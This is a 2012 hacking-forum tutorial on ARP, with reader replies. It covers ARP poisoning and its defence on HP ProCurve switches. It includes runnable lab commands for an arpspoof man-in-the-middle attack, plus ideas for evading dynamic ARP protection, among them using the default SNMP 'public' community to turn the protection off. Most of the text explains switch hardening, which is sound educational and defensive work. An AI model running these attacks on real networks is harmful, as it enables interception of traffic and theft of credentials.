EvilZone
Hacking and Security => Tutorials => : RedBullAddicted July 27, 2012, 05:00:45 PM
-
Hi,
this is a tutorial for arp attacks and the possibility to implement protection mechanisms on hp switches.
Mostly its even like the cisco way of implementing this
Contents
- Ressources used for that tutorial
- Stuff I used for testing
- What the hell is ARP
- ARP vulnerabilities
- How to use these vulnerabilities (Backtrack 5 R2)
- Protecting against ARP attacks
- Some ideas to get pass ARP protection features
1. Ressources used for that tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- some stuff I used for my own presentations
- Backtrack 4 book "Assuring Security by penetration testing"
- various other websites
2. Stuff I used for testing
- HP ProCurve 2610
- three notebooks (2x victims: Win7 and attacker: Backtrack 5 R2)
3. What the hell is ARP
ARP is short for Address Resolution Protocol.
ARP is used to resolve a device’s IP address to its MAC address. ARP creates and populates a table of known IP addresses and the associated MAC addresses as it requests information for unknown MAC addresses
4. ARP Vulnerabilities
Most ARP devices update their tables every time they receive an ARP packet even if they did not request the information.
This makes ARP vulnerable to the following attacks
- ARP poisoning
- ARP snooping
- DoS attacks
ARP poisoning occurs when an unauthorized device forges an illegitimate ARP response, and other devices use the response to change their ARP tables. In the example shown here:
(http://i46.tinypic.com/wiqby8.jpg)
- device 1 broadcasts a request for device 2's MAC address
- device 3, the bad guy, responds with it's own MAC address and the IP address of device 2
- At the same time device 3 sends a packet to device 2 pretending to be device 1
- when device 1 updates its ARP table with the given information, device 1's ARP table is "poisoned".
- All IP traffic from device 1 to 2 is send to device 3 because device 2's IP address is matched with device 3's MAC address
device 3 is now able to do some traditional "man-in-the-middle" style attack with the ability to capture stuff like username and passwords, email messages and other stuff.
ARP poisoning can also take the form of unsolicited ARP responses and can lead to DoS attacks.
For Example, device 3 can poison other devices' ARP tables by associating the network gateway's IP address with the MAC address of a client in the network.
The client choosen has no access to outside networks, outgoing traffic can't leave the network. The client may also become overwhelmed by the amount of traffic.
5. How to use these vulnerabilities (Backtrack 5 R2)
I have done a easy lab setup which looks very similar to the picture above
(http://i47.tinypic.com/2yuzvh1.jpg)
First of all I cleaned the arp cache of both victims by running arp -d [IPADDRESS]
for now the ARP table on victim 1 looks like:
arp -a
Interface: 10.10.0.2 --- 0xa
Internetaddress Physical Address Typ
10.10.10.3 44-1e-a1-cf-31-a5 dynamic
10.10.10.255 ff-ff-ff-ff-ff-ff static
and the ARP table of victim 2:
arp -a
Interface: 10.10.0.2 --- 0xb
Internetaddress Physical Address Typ
10.10.10.2 00-22-68-0c-8f-ab dynamic
10.10.10.255 ff-ff-ff-ff-ff-ff static
Now its time to start up Backtrack. I decided to use a tool called arpspoof. I know there are many others but this one fits my needs
Something about arpspoof (mainly from the mentioned Backtrack 4 book)
Before you start to arpsppof, you need to enable the IP forwarding feature in your machine.
echo 1 > /proc/sys/net/ipv4/ip_forward
After you done the setting you need to assign an IP address within the same subnet to your Backtrack machine
ifconfig eth2 10.10.10.4 netmask 255.255.255.0
If you type arpspoof in a terminal window it will display this help
root@bt:/# arpspoof
Version: 2.4
Usage: arpspoof [-i interface] [-t target] host
Now we attack victim 1 which has an IP address: 10.10.10.2. We want the victim machine to update the ARP table with our MAC address associated to the IP Address 10.10.10.3
arpspoof -i eth2 -t 10.10.10.2 10.10.10.3
After you have waited a few minutes you can try to ping the address 10.10.10.3 from victim 1 which has ip address 10.10.10.2
and then take a look at the arp cache. In my lab it looked like this
arp -a
Interface: 10.10.0.2 --- 0xa
Internetaddress Physical Address Typ
10.10.10.3 00-0c-29-22-9b-d8 dynamic
10.10.10.4 00-0c-29-22-9b-d8 dynamic
10.10.10.255 ff-ff-ff-ff-ff-ff static
Everything is looking nice right now. Now you can start your favorite network capturing application and start looking on what victim 1 wants to tell victim 2
If you update a victims arp table with your MAC address associated with the clients gateway address you will have the most fun.
6. Protecting against ARP attacks
Now as you know how easy it is to do an ARP attack you need to know how you can protect your network
I will explain it from a networker point of view. I think there are other tools you can use to protect your machine.
This is the standard way to implement it on hp switches. As i said befor the cisco way is very similar to the hp way or vice versa
What can dynamic ARP protection do for you?
Allows you to differentiate between trusted and untrusted ports
- Intercepts all ARP requests and responses on untrusted ports
Verifies IP-to-MAC address bindings on untrusted ports
- Valid bindings -> updates its ARP table
- Invalid bindings -> discards packets
Supports additional checks to verify source MAC address, destination MAC address and IP address
How is that verification thing on untrusted ports working?
the switch verifies IP-to-MAC address bindings with the information stored in the lease database maintained by DHCP snooping (just another network security feature)
and any user configured static bindings (non-DHCP enviroment)
- If the binding is valid, the switch updates its local ARP cache or forwards the packet to the appropriate destination
- If the binding is invalid, the switch simply drops the packet.
As the switch is verifing IP-to-MAC bindings by checking its DHCP Snooping table you should enable this feature, too. This is not part of this tutorial. Maybe I write one for this in the future.
however, you can use static IP-to-MAC address bindings which is (depending on your enviroment) really a lot of work.
Guidlines:
1. Define ports that connect to other switches as trusted ports if DHCP snooping is enabled on downstream ports
2. Use a router (or even ip address less vlans) to isolate switches that do not support dynamic ARP protection
3. Other ports, which connect to end user, are marked as untrusted ports by default
Configuring dynamic ARP protection
Primary tasks:
- Enable and configure DHCP snooping (not part of this tutorial)
- Enable dynamic ARP protection globally
- Apply dynamic ARP protection to one or more VLANs
- Configure trusted ports
2610(config)# arp-protect ?
trust Configure port(s) as trusted or untrusted
validate Configure additional ARP Protection validation checks
vlan Enable/Disable Dynamic ARO Protection on a VLAN(s)
<cr>
Enable dynamic ARP protection globally on the switch. Disabling with the no command
2610(config)# arp-protect
Activate it on vlans and define trusted ports (by default all ports are untrusted)
2610(config)# arp-protect vlan 8
2610(config)# arp-protect trust 23-24
Optional Configuration:
Define IP-to-MAC address binding for devices not using DHCP:
2610(config)# ip source-binding 10.10.1.100 000f20-23a477
enable one or more of the additional ARP checks
2610(config)# arp-protect validate src-mac
2610(config)# arp-protect validate dest-mac
2610(config)# arp-protect validate ip
src-mac
The switch checks ARP request and response packets to ensure
that the source MAC address in the Ethernet header matches the sender MAC
address in the body of the ARP packet. If the two addresses do not match, the
switch drops the packet.
dest-mac
The switch checks each unicast ARP response packet to ensure
that the destination MAC address in the Ethernet header matches the target
MAC address in the body of the ARP packet. If the two addresses do not
match, the switch drops the packet.
ip
The switch checks the sender and target IP addresses in the body of an
ARP packet to ensure it does not contain an “invalid” IP address. If an invalid
IP address is detected, the switch drops the ARP packet. Invalid IP addresses
are defined as:
- 0.0.0.0
- 255.255.255.255
- All Class D (multicast) IP addresses
- All class E IP addresses
Viewing dynamic ARP protection configuration
2610(config)# show arp-protect
ARP Protection Information
ARP Protection Enabled: Yes
Protected Vlans: 8
Validate: source-mac, dest-mac
Port Trust
----- -----
1 No
...
23 Yes
24 Yes
Viewing dynamic ARP Protection statistics
2610(config)# show arp-protect statistics 8
ARP Protection Counters for VLAN 8
ARPs forwarded : 0 Bad Sender/Target IP : 1
Bad bindings : 28 Source/Sender MAC mismatches : 2
Malformed pkts : 0 Dest/Target MAC mismatches : 0
7. Some ideas to get pass ARP protection features
until now I haven't found a practical "one-size-fits-all" way around dynamic ARP protection.
Maybe if you read carefully you found one or two things which can be used.
All these tipps assume that the network administrator has done some mistakes during the configuration of dynamic ARP protection.
Just something you should know:
All the time I implemented that feature for a customer I also created a email policy in the hp network management system called
HP ProCurve Manager. Everytime the ARP protection drops a packet with suspicion of an attack the adminitrator gets a email.
If I have the time I write down every network jack number as port discription. With a good documentation the network admin can quickly see which room/desk your located
Idea 1 - get access to the server vlan:
Most (in my case every company I know) is using static IP Addresses for there servers. As Infrastructure grows very quickly most of them don't want to
configure static IP-to-MAC bindings. Mostly the server vlan is not configured for dynamic ARP protection.
disadvantage:
You are most likley not able to find network ports which are members of the server vlan. Servers should be located in a datacenter room.
This means all the network ports with access to the server vlan are behind closed doors.
Idea 2 - get an uplink port:
The switches on the network must be able to exchange ARP packets and update their ARP tables accordingly.
To facilitate this exchange, you must configure ports that connect to other switches as trusted ports.
Maybe you are lucky to find a desktop switch and maybe you are able to use the uplink cable for your notebook
disadvantage:
This is very difficult. Nearly everybody has a network management system which is recognizing that a switch isn't reachable anymore.
This can only work if they have a flat network with only the default vlan used. This means that the uplink port is not configured for the use of 802.1q (Vlan tagging).
I know there are networkcards which can manage this but as far as I know they are not widley used in notebooks.
Maybe you are a very lucky guy and the admins connected the desktop switch with link aggregation and forgot to monitor the uplink ports.
If you unplug one uplink cable the switch will stay reachable. By the way... this would even be very nice for doing some network capturing.
Idea 3 - hope they haven't done DHCP snooping
if this feature is not turned on they need to do static IP-to-MAC address bindings. As you know the administrators are all human and do mistakes.
disadvantage:
this will be recognized very quickly because the users will start to call there IT department and will be complaning about connection problems to some ressources on the network.
Idea 4 - just turn off that mess
there is a standard configuration which is on all hp switches when they arrive. This one is called
snmp-server community "public" UnrestrictedAs you can imagine this entry is highly dangerous but I need to be honest... I forgot to erase that maybe once.
If you can run an snmpwalk against the switch you should have a look at this:
The SNMP MIB, HP-ICF-ARP-PROTECT-MIB, is created to configure dynamic ARP protection and to report ARP packet-forwarding status and counters.
Add that MIB to your net-snmp mibs and have a look if this feature is turned on. If it is use snmp-set to turn it off.
Disadvantage:
this could be recognized very quickly if they have a monitoring which is configured accurate
Ok... thats all for the beginning. I hope this one is interessting. Maybe somebody else has ideas on how to get around this
If you have suggestions and do not have a test lab I can test that for you.
I want to close this post with a last advice. Do not use ARP attacks on a Network which you don't know. You could be caught very quickly.
-
Cool. Thanks, it was a nice read
-
Very nice indeed. +1.
Some general networking tutorials wouldn't be a bad thing either. I know when I was in college subnets where a tough concept to grasp, especially subnetting subnets.
It's good to have a career IT person here, your fitting in quite nicely. ;)
-
Many thanks :) Ok, that's no problem. But tomorrow I'am going on a holyday trip for a week. Will write it as soon as I'm back.
-
Many thanks :) Ok, that's no problem. But tomorrow I'am going on a holyday trip for a week. Will write it as soon as I'm back.
Sounds good. Have fun on holiday.
-
+1. It was very informative and I look forward to seeing more tuts from you! I'm currently (kind of) training under the IT/network admin at a call center (kinda because its only 4 hours a week and he doesn't teach fast enough to suit me lol) and any additional info will be greatly appreciated!! The sooner I get off the phones and working on the network the better lol
-
Just as I said ^^
Like everyone else here said, this a very nice paper. I added this to my to-read list :)
Thanks! and +1 :P
-
I would also like to add, it is good how you put how to protect against such things. Most tutorials I see and read just explain how to do the bad stuff, which isn't so bad (not knocking on any tuts). Adding the protection really shows a real. hackers mindset.
I'm going to have to step up my game now and do a few of my own.